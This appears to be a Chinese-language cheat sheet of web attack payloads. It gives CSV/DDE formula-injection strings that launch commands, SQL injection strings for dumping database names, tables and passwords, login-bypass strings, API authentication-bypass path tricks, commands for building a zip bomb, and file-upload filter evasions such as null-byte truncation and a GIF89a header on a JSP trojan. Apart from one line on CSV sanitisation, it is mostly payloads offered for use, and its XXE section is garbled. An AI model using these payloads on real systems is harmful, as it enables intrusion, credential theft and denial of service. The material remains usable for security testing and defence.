【web攻击模式】——各式payload
1、表格命令注入payload
现在很多应用提供了导出电子表格的功能(不限于 Web 应用)。因为导出的表格数据有很多是来自于用户控制的,如:投票应用、邮箱导出。攻击方式类似于 XSS :所有的输入都是不可信的。
我们知道在 Excel 中是可以运行计算公式的: =1+5,它会将以 = 开头的单元格内容解释成公式并运行,单纯的运行计算公式可能没什么用,但这里可以用到 DDE 。
Dynamic Data Exchange(DDE)是一款来自微软的古老技术,它是 Windows 下的一种跨进程通信的协议,支持 Microsoft Excel, LibreOffice 和 Apache OpenOffice。
-cmd|'/c calc'!A0
+cmd|'/c calc'!A0
=cmd|'/c calc'!A0
@SUM(cmd|'/c calc'!A0)
=cmd|'/c ping 127.0.0.1 -t'!A1
=2+5+cmd|' /C calc'!A0
=cmd|'/k ipconfig'!A0
",=cmd|'/c calc'!'A1'
通过poi解析Excel实现csv对Excel单元格是否存在csv注入做出精准判断并实现净化。
经实测,Excel的两种单元格类型会导致csv注入,分别为FORMULA类型(表达式类型)和STRING类型(字符串类型),下面就这两种方式给出防御手段。
2、PDF xss
https://mp.weixin.qq.com/s/g3Tl7KirIuIr5MXmChkfog
3、XSS payload
4、SQL注入payload
id=1' and if(mid((select database()),1,1) = 'l', sleep(1), 0) %23
union注入
id = X ‘ union select 1,2,3,4 %23
id=-1' union select 1,2,schema_name,4 from information_schema.schemata limit 0,1 %23
id=-1' union select 1,2,table_name,4 from information_schema.tables where table_schema = 'login' limit 0,1 %23
id=-1' union select 1,2,column_name,4 from information_schema.columns where table_name = 'users' and table_schema = 'login' limit 0,1 %23
id=-1' union select 1,2,username,4 from users limit 0,1
布尔盲注
id=1' and ord(mid((select table_name from information_schema.tables where table_schema = 'login' limit 0,1),1,1))=102 %23
id=1' and ord(mid((select column_name from information_schema.columns where table_name='users' and table_schema='login' limit 0,1),1,1))=105 %23
id=1' and ord(mid((select password from login.users limit 0,1),1,1))=49 %23
报错注入
id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='login' limit 0,1),0x7e),1) %23
万能密码
'or'='or'
' or''='
' or 1=1--
' or 'a'='a--
'or'='or'
" or 1=1--
or 1=1--
or 'a='a
" or "a"="a
') or ('a'='a
") or ("a"="a
) or (1=1
’=1=0#
5、XXEpayload
]>
&test;
]>
6、接口鉴权绕过
/mp/goods//////create 请求接口中添加多///
/mp/goods/%3dreate 请求接口中添加/%3d
/mp/goods/;aaa/create 请求接口中添加/;xxx/ 绕过鉴权
../../../ 在不需要鉴权的路径后,添加../../
Aaa/bbb/ccc/ 请求接口末尾添加/ 绕过鉴权
7、制作高压缩比文件
通过root用户登录系统后,执行如下命令生成一个big.csv的超大文件,其文件大小可以自行控制(文件大小为102410244096=4294967296字节),如下:
dd if=/dev/zero count=$((1024*1024)) bs=4096 > big.csv
通过zip命令将超大文件进行压缩,压缩后的文件只有几兆大小,这样一个zip炸弹文件就制作完成了。如下:
zip -9 big.zip big.csv
8、文件上传姿势
1. - 目录遍历上传 利用“../../../”、“..\..\..\”或“../..\../..\”这种方式。也可加以url编码
2. - 后缀名前端检测,---抓包改包绕过
3. - 文件后缀黑名单限制时,尝试后缀名大小写绕过
4. - 黑名单不完整,*.cer、*.asa、*.PHP、*.JSP、Jsp,jspx,jspf等,通过黑名单不完善,不区分大小写,%00截断,解析漏洞,.htaccess重定义等进行绕过检测
5. - 白名单绕过--通过解析漏洞,%00截断等问题绕过检测
6. - 特殊文件名,在windows系统下,通过burp对上传文件名改成XX.asp./XX.php./XX.asp_/XX.php_,绕过验证后,末尾的.及_会被服务器忽略。
7. - web服务器文件解析漏洞,由于中间件在解析文件的过程中识别文件名、文件后缀、目录名称时发生错误,导致白名单中的文件后缀被当作脚本文件去执行。
8. - 绕过内容检测--jsp木马头 加个GIF89a能直接上传成功
9. - content-type修改为image/jpeg
10. - 利用 /. 绕过黑名单检查
11. - PUT上传 PUT /1.txt HTTP/1.1 test